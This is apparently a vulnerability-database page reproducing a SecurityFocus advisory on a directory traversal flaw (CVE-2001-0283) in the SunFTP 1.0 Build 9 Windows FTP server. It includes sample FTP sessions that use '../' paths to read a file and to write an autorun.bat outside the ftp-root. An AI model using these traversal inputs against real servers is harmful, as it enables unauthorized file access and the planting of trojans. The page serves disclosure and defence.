SunFTP 1.0 Build 9 - Unauthorized File Access
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
 | SunFTP Directory Traversal / Overflow | 20 Aug 200400:00 | – | nessus |
| SunFTP Multiple Command Traversal Arbitrary File Creation/Deletion | 13 Mar 200300:00 | – | nessus |
 | CVE-2001-0283 | 4 Apr 200104:00 | – | cve |
 | CVE-2001-0283 | 4 Apr 200104:00 | – | cvelist |
 | EUVD-2001-0283 | 7 Oct 202500:30 | – | euvd |
 | CVE-2001-0283 | 3 May 200104:00 | – | nvd |
 | SunFTP directory traversal | 3 Nov 200500:00 | – | openvas |
| SunFTP directory traversal | 3 Nov 200500:00 | – | openvas |
source: https://www.securityfocus.com/bid/2428/info
SunFTP is a freeware ftp server written by Rasmus J.P. Allenheim and associates for the Windows platform.
SunFTP contains a vulnerability that may allow ftp users to compromise the server. Users may be able to upload or retrieve files from outside the protected ftp-root directory.
This could allow, for example, users to place trojan horse programs on the system and gain control.
Using this vulnerability to retrieve a file from outside the ftp-root (sunftptest.txt):
ftp> get ../sunftptest.txt
200 Port command successful.
150 Opening data connection for ../sunftptest.txt.
226 File sent ok
Using this vulnerability to place a file on the target filesystem outside the ftp-root (../autorun.bat):
ftp> put
Lokale Datei c:\test.txt
Remotedatei ../autorun.batData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
20 Aug 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.4
EPSS0.05996